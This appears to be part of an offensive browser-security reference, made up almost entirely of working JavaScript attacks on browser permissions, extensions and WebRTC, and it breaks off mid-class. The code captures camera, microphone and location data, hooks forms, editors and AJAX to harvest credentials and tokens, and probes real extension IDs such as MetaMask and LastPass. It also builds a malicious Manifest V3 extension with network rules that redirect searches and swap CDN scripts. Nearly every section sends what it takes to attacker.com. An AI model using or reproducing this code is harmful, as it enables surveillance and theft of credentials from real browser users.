Skip to content

The Hostile DOM: Deep Dive Technical Reference

Offensive Security Research

This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.

Part 6: Permission & Extension Exploitation

6.1 Permission Fatigue Attacks

Modern browsers implement permission prompts, but users often click "Allow" without understanding the implications.

Permission Request Bombing

Click to expand code
javascript
class PermissionBomber {
  constructor() {
    this.permissions = [
      'geolocation',
      'notifications',
      'camera',
      'microphone',
      'midi',
      'storage',
      'persistent-storage'
    ];
    this.grantedPermissions = new Set();
    this.bombingInterval = null;
  }
  
  // Start permission bombing campaign
  startBombing() {
    console.log('[+] Starting permission bombing campaign');
    
    this.bombingInterval = setInterval(() => {
      this.requestRandomPermission();
    }, 1000); // Request every second
    
    // Stop after 30 seconds to avoid browser blocking
    setTimeout(() => {
      this.stopBombing();
      this.exploitGrantedPermissions();
    }, 30000);
  }
  
  stopBombing() {
    if (this.bombingInterval) {
      clearInterval(this.bombingInterval);
      this.bombingInterval = null;
      console.log('[+] Permission bombing stopped');
    }
  }
  
  async requestRandomPermission() {
    const permission = this.permissions[Math.floor(Math.random() * this.permissions.length)];
    
    try {
      const result = await navigator.permissions.request({ name: permission });
      
      if (result.state === 'granted') {
        console.log(`[+] Permission granted: ${permission}`);
        this.grantedPermissions.add(permission);
      } else {
        console.log(`[-] Permission denied: ${permission}`);
      }
    } catch (error) {
      console.log(`[*] Permission request failed: ${permission} - ${error.message}`);
    }
  }
  
  // Exploit granted permissions
  async exploitGrantedPermissions() {
    console.log(`[+] Exploiting ${this.grantedPermissions.size} granted permissions`);
    
    for (const permission of this.grantedPermissions) {
      await this.exploitPermission(permission);
    }
  }
  
  async exploitPermission(permission) {
    switch (permission) {
      case 'geolocation':
        await this.exploitGeolocation();
        break;
      case 'camera':
        await this.exploitCamera();
        break;
      case 'microphone':
        await this.exploitMicrophone();
        break;
      case 'notifications':
        await this.exploitNotifications();
        break;
      case 'storage':
        await this.exploitStorage();
        break;
    }
  }
  
  async exploitGeolocation() {
    console.log('[+] Exploiting geolocation permission');
    
    navigator.geolocation.getCurrentPosition(
      (position) => {
        const data = {
          latitude: position.coords.latitude,
          longitude: position.coords.longitude,
          accuracy: position.coords.accuracy,
          timestamp: position.timestamp
        };
        
        console.log('[+] Location data:', data);
        this.exfiltrateData('geolocation', data);
      },
      (error) => console.log('[-] Geolocation error:', error),
      { enableHighAccuracy: true, timeout: 10000 }
    );
  }
  
  async exploitCamera() {
    console.log('[+] Exploiting camera permission');
    
    try {
      const stream = await navigator.mediaDevices.getUserMedia({ video: true });
      const video = document.createElement('video');
      video.srcObject = stream;
      video.play();
      
      // Capture frame
      const canvas = document.createElement('canvas');
      const ctx = canvas.getContext('2d');
      
      setTimeout(() => {
        canvas.width = video.videoWidth;
        canvas.height = video.videoHeight;
        ctx.drawImage(video, 0, 0);
        
        canvas.toBlob((blob) => {
          this.exfiltrateBlob('camera_capture', blob);
        });
        
        // Stop stream
        stream.getTracks().forEach(track => track.stop());
      }, 1000);
      
    } catch (error) {
      console.log('[-] Camera access failed:', error);
    }
  }
  
  async exploitMicrophone() {
    console.log('[+] Exploiting microphone permission');
    
    try {
      const stream = await navigator.mediaDevices.getUserMedia({ audio: true });
      const recorder = new MediaRecorder(stream);
      const chunks = [];
      
      recorder.ondataavailable = (e) => chunks.push(e.data);
      recorder.onstop = () => {
        const blob = new Blob(chunks, { type: 'audio/webm' });
        this.exfiltrateBlob('microphone_recording', blob);
        stream.getTracks().forEach(track => track.stop());
      };
      
      recorder.start();
      setTimeout(() => recorder.stop(), 5000); // Record 5 seconds
      
    } catch (error) {
      console.log('[-] Microphone access failed:', error);
    }
  }
  
  async exploitNotifications() {
    console.log('[+] Exploiting notifications permission');
    
    // Send spam notifications
    for (let i = 0; i < 10; i++) {
      new Notification(`Alert ${i + 1}`, {
        body: 'Your system has been compromised!',
        icon: 'https://evil.com/icon.png',
        tag: 'spam'
      });
    }
  }
  
  async exploitStorage() {
    console.log('[+] Exploiting storage permission');
    
    // Request persistent storage
    if ('storage' in navigator && 'persist' in navigator.storage) {
      const persisted = await navigator.storage.persist();
      console.log(`[+] Persistent storage: ${persisted}`);
    }
    
    // Fill storage with junk data
    const junk = 'x'.repeat(1024 * 1024); // 1MB of junk
    for (let i = 0; i < 100; i++) {
      localStorage.setItem(`junk_${i}`, junk);
    }
    
    console.log('[+] Storage filled with junk data');
  }
  
  exfiltrateData(type, data) {
    fetch('https://attacker.com/data', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ type, data, timestamp: new Date().toISOString() })
    });
  }
  
  exfiltrateBlob(type, blob) {
    const formData = new FormData();
    formData.append('type', type);
    formData.append('file', blob);
    formData.append('timestamp', new Date().toISOString());
    
    fetch('https://attacker.com/upload', {
      method: 'POST',
      body: formData
    });
  }
}

// Initialize permission bomber
const bomber = new PermissionBomber();

// Start bombing on user interaction (to avoid browser blocking)
document.addEventListener('click', () => {
  if (!bomber.bombingInterval) {
    bomber.startBombing();
  }
}, { once: true });

6.2 Browser Extension Vulnerabilities

Extensions run with elevated privileges and can be exploited to gain complete browser compromise.

Content Script Injection Attacks

Click to expand code
javascript
// Exploit vulnerable extension content scripts
class ExtensionExploiter {
  constructor() {
    this.foundExtensions = [];
    this.scanForExtensions();
  }
  
  // Scan for installed extensions
  scanForExtensions() {
    // Method 1: Check for extension-specific globals
    const extensionGlobals = [
      'chrome', 'browser', // WebExtensions API
      '__REDUX_DEVTOOLS_EXTENSION__', // Redux devtools
      'React', 'Vue', // Framework devtools
      'jQuery', // jQuery extensions
      '__webpack_require__', // Webpack devtools
      'webpackChunk', // Webpack chunks
      'CKEDITOR', // Rich text editors
      'tinymce', // TinyMCE
      'ace', 'monaco', 'CodeMirror' // Code editors
    ];
    
    extensionGlobals.forEach(global => {
      if (window[global] !== undefined) {
        console.log(`[+] Extension global found: ${global}`);
        this.foundExtensions.push(global);
      }
    });
    
    // Method 2: Check for extension scripts in DOM
    const scripts = document.querySelectorAll('script[src]');
    scripts.forEach(script => {
      const src = script.src;
      if (src.includes('extension://') || src.includes('chrome-extension://')) {
        console.log(`[+] Extension script found: ${src}`);
        this.foundExtensions.push(src);
      }
    });
    
    // Method 3: Check for extension iframes
    const iframes = document.querySelectorAll('iframe[src]');
    iframes.forEach(iframe => {
      const src = iframe.src;
      if (src.includes('extension://') || src.includes('chrome-extension://')) {
        console.log(`[+] Extension iframe found: ${src}`);
        this.foundExtensions.push(src);
      }
    });
    
    console.log(`[+] Found ${this.foundExtensions.length} extension indicators`);
  }
  
  // Exploit Redux DevTools
  exploitReduxDevTools() {
    if (window.__REDUX_DEVTOOLS_EXTENSION__) {
      console.log('[+] Exploiting Redux DevTools');
      
      // Access Redux store
      const devTools = window.__REDUX_DEVTOOLS_EXTENSION__.connect();
      
      // Listen for state changes
      devTools.subscribe((message) => {
        if (message.type === 'ACTION') {
          console.log('[+] Redux action:', message.payload);
          
          // Extract sensitive data from actions
          if (message.payload.type.includes('LOGIN') || 
              message.payload.type.includes('AUTH')) {
            this.exfiltrateData('redux_auth', message.payload);
          }
        }
      });
      
      // Send malicious actions
      devTools.send('MALICIOUS_ACTION', { 
        type: 'COMPROMISE_STORE',
        payload: { compromised: true }
      });
    }
  }
  
  // Exploit jQuery extensions
  exploitjQuery() {
    if (window.jQuery) {
      console.log('[+] Exploiting jQuery');
      
      // Hook into AJAX requests
      const originalAjax = jQuery.ajax;
      jQuery.ajax = function(settings) {
        console.log('[+] jQuery AJAX:', settings.url);
        
        // Intercept sensitive requests
        if (settings.url.includes('login') || settings.url.includes('auth')) {
          console.log('[+] Sensitive AJAX intercepted');
          this.exfiltrateData('jquery_ajax', settings);
        }
        
        return originalAjax.apply(this, arguments);
      };
    }
  }
  
  // Exploit Webpack devtools
  exploitWebpack() {
    if (window.__webpack_require__) {
      console.log('[+] Exploiting Webpack');
      
      // Access webpack modules
      const modules = window.__webpack_require__.m;
      
      for (const moduleId in modules) {
        try {
          const module = modules[moduleId];
          const moduleCode = module.toString();
          
          // Look for sensitive modules
          if (moduleCode.includes('password') || 
              moduleCode.includes('token') || 
              moduleCode.includes('secret')) {
            console.log(`[+] Sensitive webpack module: ${moduleId}`);
            this.exfiltrateData('webpack_module', {
              id: moduleId,
              code: moduleCode
            });
          }
        } catch (e) {}
      }
    }
  }
  
  // Exploit rich text editors
  exploitRichTextEditors() {
    const editors = ['CKEDITOR', 'tinymce', 'ace', 'monaco', 'CodeMirror'];
    
    editors.forEach(editor => {
      if (window[editor]) {
        console.log(`[+] Exploiting ${editor}`);
        
        // CKEditor exploitation
        if (editor === 'CKEDITOR' && window.CKEDITOR.instances) {
          Object.values(window.CKEDITOR.instances).forEach(instance => {
            instance.on('change', () => {
              const content = instance.getData();
              if (content.includes('password') || content.includes('token')) {
                this.exfiltrateData('ckeditor_content', content);
              }
            });
          });
        }
        
        // TinyMCE exploitation
        if (editor === 'tinymce' && window.tinymce) {
          window.tinymce.on('change', (e) => {
            const content = e.target.getContent();
            if (content.includes('password') || content.includes('token')) {
              this.exfiltrateData('tinymce_content', content);
            }
          });
        }
      }
    });
  }
  
  // Generic extension script injection
  injectIntoExtension(extensionId) {
    console.log(`[+] Attempting injection into extension: ${extensionId}`);
    
    // Create injection script
    const script = document.createElement('script');
    script.textContent = `
      // Malicious code to run in extension context
      console.log('[+] Injected into extension context');
      
      // Try to access extension APIs
      if (chrome && chrome.runtime) {
        chrome.runtime.sendMessage({ type: 'COMPROMISED' });
      }
      
      // Try to access extension storage
      if (chrome && chrome.storage) {
        chrome.storage.local.get(null, (data) => {
          console.log('[+] Extension storage:', data);
          // Exfiltrate extension data
          fetch('https://attacker.com/extension-data', {
            method: 'POST',
            body: JSON.stringify(data)
          });
        });
      }
    `;
    
    document.head.appendChild(script);
  }
  
  exfiltrateData(type, data) {
    fetch('https://attacker.com/extension-data', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ 
        type, 
        data, 
        extension: this.foundExtensions,
        timestamp: new Date().toISOString() 
      })
    });
  }
  
  // Run all exploits
  async runAllExploits() {
    this.exploitReduxDevTools();
    this.exploitjQuery();
    this.exploitWebpack();
    this.exploitRichTextEditors();
    
    // Try to inject into found extensions
    this.foundExtensions.forEach(ext => {
      if (typeof ext === 'string' && ext.includes('extension://')) {
        this.injectIntoExtension(ext);
      }
    });
  }
}

// Initialize and run
const extensionExploiter = new ExtensionExploiter();
setTimeout(() => extensionExploiter.runAllExploits(), 1000);

Extension Background Script Exploitation

Click to expand code
javascript
// Exploit extension background scripts via messaging
function exploitExtensionMessaging() {
  // Enumerate all possible extension IDs (brute force common ones)
  const commonExtensionIds = [
    'nkbihfbeogaeaoehlefnkodbefgpgknn', // MetaMask
    'cjpalhdlnbpafiamejdnhcphjbkeiagm', // uBlock Origin
    'gcbommkclmclpchllfjekcdonpmejbdp', // HTTPS Everywhere
    'fheoggkfdfchfphceeifdbepaooicaho', // Steam Inventory Helper
    'bmnlcjabgnpnenekpadlanbbkooimhnj', // Honey
    'pkehgijcmpdhfbdbbnkijodmdjhbjlgp', // Privacy Badger
    'dbepggeogbaibhgnhhndojpepiihcmeb', // Vimium
    'aapbdbdomjkkjkaonfhkkikfgjllcleb', // Google Translate
    'ghbmnnjooekpmoecnnnilnnbdlolhkhi', // Google Docs Offline
    'mmeijimgabbpbgpdklnllpncmdofkfbn', // RAR Password Cracker
    'fdpohaocaechififmbbbbbknoalclacl', // Full Page Screen Capture
    'cblpjiiaanfakmdajbpngjlcndfedmhf', // Netflix Party
    'eimadpbcbfnmbkopoojfekhnkhdbieeh', // Dark Reader
    'dhdgffkkebhmkfjojejmpbldmpobfkfo', // Tampermonkey
    'gighmmpiobklfepjocnamgkkbiglidom', // AdBlock
    'cfhdojbkjhnklbpkdaibdccddilifddb', // AdBlock Plus
    'ngpampappnmepgilojfohadhhmbhlaek', // Video Downloader
    'kbfnbcaeplbcioakkpcpgfkobkghlhen', // Grammarly
    'hdokiejnpimakedhajhdlcegeplioahd', // LastPass
    'bhghoamapcdpbohphigoooaddinpkbai', // Google Docs
    'aohghmighlieiainnegkcijnfilokake', // Google Docs Offline
    'apdfllckaahabafndbhieahigkjlhalf', // Google Drive
    'felcaaldnbdncclmgdcncolpebgiejap', // IDM Integration
    'mpiodijhokgodhhofbcjdecpffjipkle', // Storebrain
    'cmedhionkhpnakcndndgjdbohmhepckk'  // Adobe Acrobat
  ];
  
  commonExtensionIds.forEach(extensionId => {
    // Try to send messages to extension
    try {
      chrome.runtime.sendMessage(extensionId, {
        type: 'MALICIOUS_MESSAGE',
        payload: {
          action: 'GET_DATA',
          callback: 'https://attacker.com/callback'
        }
      }, (response) => {
        if (response) {
          console.log(`[+] Extension ${extensionId} responded:`, response);
          
          // Exfiltrate response
          fetch('https://attacker.com/extension-response', {
            method: 'POST',
            body: JSON.stringify({
              extensionId,
              response,
              timestamp: new Date().toISOString()
            })
          });
        }
      });
    } catch (error) {
      // Extension doesn't exist or doesn't accept messages
    }
  });
}

// Hook into extension API calls
function hookExtensionAPIs() {
  if (window.chrome && window.chrome.runtime) {
    const originalSendMessage = window.chrome.runtime.sendMessage;
    
    window.chrome.runtime.sendMessage = function(extensionId, message, callback) {
      console.log(`[+] Extension message intercepted:`, extensionId, message);
      
      // Modify message if sensitive
      if (message.type === 'AUTH_REQUEST' || message.type === 'GET_TOKENS') {
        console.log('[+] Sensitive extension message intercepted');
        
        // Exfiltrate
        fetch('https://attacker.com/extension-message', {
          method: 'POST',
          body: JSON.stringify({
            extensionId,
            message,
            timestamp: new Date().toISOString()
          })
        });
      }
      
      return originalSendMessage.call(this, extensionId, message, callback);
    };
  }
}

exploitExtensionMessaging();
hookExtensionAPIs();

6.3 WebRTC Exploitation

WebRTC enables peer-to-peer communication but can leak internal network information.

STUN/TURN Server Exploitation

Click to expand code
javascript
class WebRTCExploiter {
  constructor() {
    this.localIPs = [];
    this.publicIP = null;
    this.networkInfo = {};
  }
  
  // Discover local and public IPs using WebRTC
  async discoverIPs() {
    console.log('[+] Starting WebRTC IP discovery');
    
    try {
      const pc = new RTCPeerConnection({
        iceServers: [
          { urls: 'stun:stun.l.google.com:19302' },
          { urls: 'stun:stun1.l.google.com:19302' },
          { urls: 'stun:stun2.l.google.com:19302' },
          { urls: 'stun:stun3.l.google.com:19302' },
          { urls: 'stun:stun4.l.google.com:19302' }
        ]
      });
      
      // Create dummy data channel
      pc.createDataChannel('');
      
      // Listen for ICE candidates
      pc.onicecandidate = (event) => {
        if (event.candidate) {
          this.parseICECandidate(event.candidate);
        }
      };
      
      // Create offer to trigger ICE gathering
      const offer = await pc.createOffer();
      await pc.setLocalDescription(offer);
      
      // Wait for ICE gathering to complete
      await new Promise(resolve => {
        pc.onicegatheringstatechange = () => {
          if (pc.iceGatheringState === 'complete') {
            resolve();
          }
        };
      });
      
      console.log('[+] IP discovery complete');
      console.log('[+] Local IPs:', this.localIPs);
      console.log('[+] Public IP:', this.publicIP);
      
      this.exfiltrateNetworkInfo();
      
    } catch (error) {
      console.log('[-] WebRTC IP discovery failed:', error);
    }
  }
  
  parseICECandidate(candidate) {
    const parts = candidate.candidate.split(' ');
    
    if (parts.length >= 5) {
      const ip = parts[4];
      
      // Check if it's a local IP
      if (this.isLocalIP(ip)) {
        if (!this.localIPs.includes(ip)) {
          this.localIPs.push(ip);
        }
      } else {
        // Public IP
        this.publicIP = ip;
      }
    }
  }
  
  isLocalIP(ip) {
    // Check for private IP ranges
    const privateRanges = [
      /^10\./,                    // 10.0.0.0/8
      /^172\.(1[6-9]|2[0-9]|3[0-1])\./,  // 172.16.0.0/12
      /^192\.168\./,              // 192.168.0.0/16
      /^169\.254\./,              // Link-local
      /^127\./,                   // Loopback
      /^::1$/,                    // IPv6 loopback
      /^fc00:/,                   // IPv6 unique local
      /^fe80:/                    // IPv6 link-local
    ];
    
    return privateRanges.some(range => range.test(ip));
  }
  
  // Enumerate local network devices
  async scanLocalNetwork() {
    console.log('[+] Scanning local network');
    
    const scanPromises = [];
    
    // Scan common local IP ranges
    for (const baseIP of this.localIPs) {
      const subnet = baseIP.split('.').slice(0, 3).join('.');
      
      for (let i = 1; i < 255; i++) {
        const targetIP = `${subnet}.${i}`;
        
        if (targetIP !== baseIP) { // Don't scan ourselves
          scanPromises.push(this.checkHost(targetIP));
        }
      }
    }
    
    const results = await Promise.allSettled(scanPromises);
    const liveHosts = results
      .filter(result => result.status === 'fulfilled' && result.value.alive)
      .map(result => result.value.ip);
    
    console.log(`[+] Found ${liveHosts.length} live hosts:`, liveHosts);
    this.networkInfo.liveHosts = liveHosts;
  }
  
  async checkHost(ip) {
    return new Promise((resolve) => {
      // Use WebRTC data channel to test connectivity
      const pc = new RTCPeerConnection();
      const channel = pc.createDataChannel('');
      
      let connected = false;
      
      channel.onopen = () => {
        connected = true;
        pc.close();
      };
      
      pc.onicecandidate = (event) => {
        if (!event.candidate) {
          setTimeout(() => {
            if (!connected) {
              pc.close();
            }
            resolve({ ip, alive: connected });
          }, 100);
        }
      };
      
      // Try to connect to target IP on common ports
      pc.createOffer().then(offer => pc.setLocalDescription(offer));
    });
  }
  
  // WebRTC device enumeration
  async enumerateDevices() {
    console.log('[+] Enumerating WebRTC devices');
    
    try {
      const devices = await navigator.mediaDevices.enumerateDevices();
      
      const deviceInfo = {
        audioInputs: devices.filter(d => d.kind === 'audioinput'),
        audioOutputs: devices.filter(d => d.kind === 'audiooutput'),
        videoInputs: devices.filter(d => d.kind === 'videoinput')
      };
      
      console.log('[+] Device enumeration:', deviceInfo);
      this.networkInfo.devices = deviceInfo;
      
    } catch (error) {
      console.log('[-] Device enumeration failed:', error);
    }
  }
  
  exfiltrateNetworkInfo() {
    const data = {
      localIPs: this.localIPs,
      publicIP: this.publicIP,
      networkInfo: this.networkInfo,
      timestamp: new Date().toISOString(),
      userAgent: navigator.userAgent
    };
    
    fetch('https://attacker.com/network-info', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(data)
    });
  }
  
  // Run all WebRTC exploits
  async runAllExploits() {
    await this.discoverIPs();
    await this.scanLocalNetwork();
    await this.enumerateDevices();
    this.exfiltrateNetworkInfo();
  }
}

// Initialize and run
const webrtcExploiter = new WebRTCExploiter();
webrtcExploiter.runAllExploits();

6.4 Browser Permission Model Bypass

Permission Delegation Attacks

Click to expand code
javascript
// Exploit permission delegation between frames
function exploitPermissionDelegation() {
  // Create iframe to delegate permissions
  const iframe = document.createElement('iframe');
  iframe.src = 'https://victim-site.com';
  iframe.style.display = 'none';
  
  iframe.onload = () => {
    console.log('[+] Iframe loaded, attempting permission delegation');
    
    // Try to access parent permissions from iframe
    try {
      // Request permission in iframe context
      iframe.contentWindow.navigator.permissions.request({
        name: 'geolocation'
      }).then(result => {
        if (result.state === 'granted') {
          console.log('[+] Permission delegated to iframe');
          
          // Use permission from iframe
          iframe.contentWindow.navigator.geolocation.getCurrentPosition(
            (position) => {
              console.log('[+] Location from iframe:', position.coords);
              this.exfiltrateData('delegated_location', position.coords);
            }
          );
        }
      });
    } catch (error) {
      console.log('[-] Permission delegation failed:', error);
    }
  };
  
  document.body.appendChild(iframe);
}

// Cross-origin permission probing
function probeCrossOriginPermissions() {
  const testOrigins = [
    'https://google.com',
    'https://facebook.com', 
    'https://github.com',
    'https://stackoverflow.com'
  ];
  
  testOrigins.forEach(origin => {
    const iframe = document.createElement('iframe');
    iframe.src = origin;
    iframe.style.display = 'none';
    
    iframe.onload = () => {
      try {
        // Try to access permissions API
        const permissions = iframe.contentWindow.navigator.permissions;
        
        // Query specific permissions
        ['geolocation', 'notifications', 'camera'].forEach(perm => {
          permissions.query({ name: perm }).then(result => {
            console.log(`[+] ${origin} - ${perm}: ${result.state}`);
          });
        });
        
      } catch (error) {
        console.log(`[-] Cannot access permissions for ${origin}`);
      }
      
      document.body.removeChild(iframe);
    };
    
    document.body.appendChild(iframe);
  });
}

// Permission persistence across navigations
function exploitPermissionPersistence() {
  // Check if permissions persist after navigation
  navigator.permissions.query({ name: 'geolocation' }).then(result => {
    console.log(`[+] Initial geolocation permission: ${result.state}`);
    
    // Navigate away and come back
    const currentUrl = location.href;
    location.href = 'https://example.com';
    
    // This would run after navigation back
    setTimeout(() => {
      navigator.permissions.query({ name: 'geolocation' }).then(newResult => {
        console.log(`[+] Permission after navigation: ${newResult.state}`);
        
        if (newResult.state === 'granted') {
          console.log('[+] Permission persisted across navigation!');
          
          // Exploit persisted permission
          navigator.geolocation.getCurrentPosition(pos => {
            console.log('[+] Exploited persisted location:', pos.coords);
          });
        }
      });
    }, 5000);
  });
}

exploitPermissionDelegation();
probeCrossOriginPermissions();
exploitPermissionPersistence();

6.6 Manifest V3 Exploitation & Migration Attacks

Chrome's Manifest V3 (MV3) introduced significant security changes, but also created new attack surfaces and migration vulnerabilities.

Manifest V3 Key Changes

Security Improvements:

  • Background pages → Service Workers (ephemeral, no persistent background scripts)
  • webRequestdeclarativeNetRequest (no arbitrary code execution in network layer)
  • Host permissions now optional and revocable
  • Remote code execution blocked (no externally hosted code)

New Attack Surfaces:

  • Service Worker lifecycle manipulation
  • DeclarativeNetRequest rule injection
  • Migration period vulnerabilities (V2→V3 hybrid attacks)

MV3 Service Worker Exploitation

Click to expand code
javascript
// manifest.json (Manifest V3)
{
  "manifest_version": 3,
  "name": "Productivity Helper",
  "version": "1.0",
  "permissions": [
    "storage",
    "tabs",
    "scripting"
  ],
  "host_permissions": [
    "<all_urls>"
  ],
  "background": {
    "service_worker": "background.js"
  },
  "action": {
    "default_popup": "popup.html"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }]
}

// background.js - MV3 Service Worker
class MV3Exploiter {
  constructor() {
    this.installHandlers();
    this.harvestedData = [];
  }
  
  installHandlers() {
    // Service Worker install event
    self.addEventListener('install', (event) => {
      console.log('[+] MV3 Extension installed');
      self.skipWaiting(); // Activate immediately
    });
    
    // Service Worker activate event
    self.addEventListener('activate', (event) => {
      console.log('[+] MV3 Extension activated');
      event.waitUntil(self.clients.claim()); // Control all pages immediately
      
      // Start malicious activities
      this.startDataHarvesting();
    });
    
    // Handle messages from content scripts
    chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
      this.handleMessage(message, sender, sendResponse);
      return true; // Keep channel open for async response
    });
    
    // Monitor tab updates
    chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
      if (changeInfo.status === 'complete') {
        this.onTabComplete(tabId, tab);
      }
    });
  }
  
  // Start harvesting data from all tabs
  async startDataHarvesting() {
    const tabs = await chrome.tabs.query({});
    
    for (const tab of tabs) {
      if (tab.url && !tab.url.startsWith('chrome://')) {
        // Inject content script into existing tabs
        await this.injectIntoTab(tab.id);
      }
    }
  }
  
  // Inject content script using scripting API (MV3)
  async injectIntoTab(tabId) {
    try {
      await chrome.scripting.executeScript({
        target: { tabId: tabId },
        func: this.contentScriptPayload,
        world: 'MAIN' // Execute in main world (access to page's JS)
      });
      
      console.log(`[+] Injected into tab ${tabId}`);
    } catch (error) {
      console.error(`[!] Injection failed for tab ${tabId}:`, error);
    }
  }
  
  // Payload executed in page context
  contentScriptPayload() {
    // This runs in the page's JavaScript context
    console.log('[+] MV3 content script injected');
    
    // Harvest credentials from forms
    document.addEventListener('submit', (e) => {
      const form = e.target;
      const formData = new FormData(form);
      const credentials = {};
      
      for (let [key, value] of formData.entries()) {
        credentials[key] = value;
      }
      
      // Send to background service worker
      chrome.runtime.sendMessage({
        type: 'credentials',
        data: credentials,
        url: window.location.href
      });
    });
    
    // Harvest tokens from localStorage
    const tokens = {};
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      tokens[key] = localStorage.getItem(key);
    }
    
    if (Object.keys(tokens).length > 0) {
      chrome.runtime.sendMessage({
        type: 'tokens',
        data: tokens,
        url: window.location.href
      });
    }
  }
  
  // Handle messages from content scripts
  async handleMessage(message, sender, sendResponse) {
    console.log('[+] Message from content script:', message.type);
    
    this.harvestedData.push({
      type: message.type,
      data: message.data,
      url: message.url,
      timestamp: Date.now(),
      tabId: sender.tab?.id
    });
    
    // Store in chrome.storage
    await chrome.storage.local.set({
      harvested: this.harvestedData
    });
    
    // Exfiltrate immediately
    await this.exfiltrateData(message);
    
    sendResponse({ success: true });
  }
  
  // Exfiltrate data (MV3 restrictions apply)
  async exfiltrateData(data) {
    try {
      // MV3: fetch() works in service workers
      const response = await fetch('https://attacker.com/harvest', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(data)
      });
      
      if (response.ok) {
        console.log('[+] Data exfiltrated successfully');
      }
    } catch (error) {
      console.error('[!] Exfiltration failed:', error);
      // Queue for retry
      this.queueForRetry(data);
    }
  }
  
  async queueForRetry(data) {
    const queue = await chrome.storage.local.get('exfilQueue') || { exfilQueue: [] };
    queue.exfilQueue.push(data);
    await chrome.storage.local.set(queue);
  }
  
  // Tab completion handler
  async onTabComplete(tabId, tab) {
    console.log(`[+] Tab completed: ${tab.url}`);
    
    // Re-inject into newly loaded pages
    if (!tab.url.startsWith('chrome://')) {
      await this.injectIntoTab(tabId);
    }
  }
}

// Initialize exploiter
const mv3Exploiter = new MV3Exploiter();

DeclarativeNetRequest Abuse

MV3's declarativeNetRequest API replaces webRequest but can still be weaponized:

Click to expand code
javascript
// Malicious declarativeNetRequest rules
const maliciousRules = [
  // Rule 1: Redirect all Google searches to attacker's SERP
  {
    "id": 1,
    "priority": 1,
    "action": {
      "type": "redirect",
      "redirect": {
        "regexSubstitution": "https://attacker.com/search?q=\\1"
      }
    },
    "condition": {
      "regexFilter": "^https://www\\.google\\.com/search\\?q=(.*)$",
      "resourceTypes": ["main_frame"]
    }
  },
  
  // Rule 2: Inject tracking pixel into all pages
  {
    "id": 2,
    "priority": 1,
    "action": {
      "type": "redirect",
      "redirect": {
        "transform": {
          "query": {
            "addOrReplaceParams": [
              { "key": "utm_source", "value": "malicious_extension" },
              { "key": "user_id", "value": "victim_fingerprint" }
            ]
          }
        }
      }
    },
    "condition": {
      "urlFilter": "*",
      "resourceTypes": ["xmlhttprequest", "image"]
    }
  },
  
  // Rule 3: Block security extensions
  {
    "id": 3,
    "priority": 1,
    "action": {
      "type": "block"
    },
    "condition": {
      "urlFilter": "*adblock*|*ublock*|*ghostery*",
      "resourceTypes": ["script", "main_frame"]
    }
  },
  
  // Rule 4: Redirect CDN requests to attacker-controlled resources
  {
    "id": 4,
    "priority": 1,
    "action": {
      "type": "redirect",
      "redirect": {
        "url": "https://attacker-cdn.com/malicious.js"
      }
    },
    "condition": {
      "urlFilter": "https://cdn.jsdelivr.net/npm/jquery*",
      "resourceTypes": ["script"]
    }
  },
  
  // Rule 5: Modify request headers for tracking
  {
    "id": 5,
    "priority": 1,
    "action": {
      "type": "modifyHeaders",
      "requestHeaders": [
        {
          "header": "X-Victim-ID",
          "operation": "set",
          "value": "harvested_fingerprint_123"
        }
      ]
    },
    "condition": {
      "urlFilter": "*",
      "resourceTypes": ["xmlhttprequest"]
    }
  }
];

// Apply malicious rules
chrome.declarativeNetRequest.updateDynamicRules({
  addRules: maliciousRules,
  removeRuleIds: [] // Don't remove existing rules
}, () => {
  console.log('[+] Malicious declarativeNetRequest rules applied');
});

// Monitor rule effectiveness
chrome.declarativeNetRequest.getMatchedRules({}, (details) => {
  console.log('[+] Matched rules:', details);
  
  // Exfiltrate matched URLs
  fetch('https://attacker.com/matched-rules', {
    method: 'POST',
    body: JSON.stringify(details)
  });
});

MV2→MV3 Migration Attack Window

During the transition period, attackers exploit users running mixed versions:

Click to expand code
javascript
// Detect which manifest version user is running
function detectManifestVersion() {
  // MV3 extensions have chrome.scripting API
  if (chrome.scripting) {
    console.log('[+] Running Manifest V3');
    return 3;
  }
  
  // MV2 extensions have chrome.webRequest with full blocking
  if (chrome.webRequest && chrome.webRequest.onBeforeRequest) {
    console.log('[+] Running Manifest V2');
    return 2;
  }
  
  return null;
}

// Adaptive exploitation based on detected version
const manifestVersion = detectManifestVersion();

if (manifestVersion === 2) {
  // Use powerful MV2 APIs while still available
  chrome.webRequest.onBeforeRequest.addListener(
    (details) => {
      // Full request interception with arbitrary code
      console.log('[+] MV2: Intercepted request:', details.url);
      
      // Inject malicious script
      if (details.type === 'script') {
        return { redirectUrl: 'https://attacker.com/malicious.js' };
      }
    },
    { urls: ['<all_urls>'] },
    ['blocking']
  );
} else if (manifestVersion === 3) {
  // Use MV3 APIs
  chrome.scripting.executeScript({
    target: { allFrames: true },
    func: () => {
      console.log('[+] MV3: Injected via scripting API');
    }
  });
}

6.7 Extension Supply Chain Attacks

Browser extensions are prime targets for supply chain compromise due to auto-update mechanisms.

Supply Chain Attack Vectors

  1. Developer Account Takeover: Compromise extension developer's account
  2. Malicious Update: Push malicious update to existing legitimate extension
  3. Extension Acquisition: Buy popular extension and inject malware
  4. Dependency Poisoning: Compromise npm packages used in extension build
  5. Build Pipeline Hijacking: Compromise CI/CD to inject malicious code

Attack Scenario: Extension Acquisition & Weaponization

Click to expand code
javascript
// Original manifest.json (Benign Extension v1.0)
{
  "manifest_version": 3,
  "name": "Simple Screenshot Tool",
  "version": "1.0.0",
  "permissions": [
    "activeTab"
  ]
}

// Updated manifest.json (After Acquisition v2.0)
{
  "manifest_version": 3,
  "name": "Simple Screenshot Tool",
  "version": "2.0.0",
  "permissions": [
    "activeTab",
    "storage",
    "tabs",
    "scripting"  // NEW: Script injection
  ],
  "host_permissions": [
    "<all_urls>"  // NEW: Access to all sites
  ],
  "background": {
    "service_worker": "background.js"
  }
}

// background.js (Malicious Update)
class AcquiredExtensionWeaponizer {
  constructor() {
    this.victimCount = 0;
